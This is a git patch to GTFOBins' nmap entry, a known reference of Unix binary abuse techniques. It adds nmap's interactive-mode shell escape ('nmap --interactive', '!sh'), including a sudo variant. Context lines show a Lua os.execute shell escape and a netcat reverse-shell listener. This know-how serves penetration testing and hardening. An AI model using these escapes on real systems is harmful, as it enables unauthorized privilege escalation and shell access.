From 809b60ef97e0b89a7d31b62cb6dc1d6374d83d46 Mon Sep 17 00:00:00 2001 From: Qazeer Date: Mon, 24 Dec 2018 01:48:13 +0100 Subject: [PATCH] Add nmap interactive mode --- _gtfobins/nmap.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/_gtfobins/nmap.md b/_gtfobins/nmap.md index 1be2c9c..745b2fb 100644 --- a/_gtfobins/nmap.md +++ b/_gtfobins/nmap.md @@ -6,6 +6,10 @@ functions: TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF nmap --script=$TF + - description: The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands. + code: | + nmap --interactive + nmap> !sh non-interactive-reverse-shell: - description: Run ``nc -l -p 12345`` on the attacker box to receive the shell. code: | @@ -82,6 +86,10 @@ functions: TF=$(mktemp) echo 'os.execute("/bin/sh")' > $TF sudo nmap --script=$TF + - description: The interactive mode, available on versions 2.02 to 5.21, can be used to execute shell commands. + code: | + sudo nmap --interactive + nmap> !sh limited-suid: - description: Input echo is disabled. code: |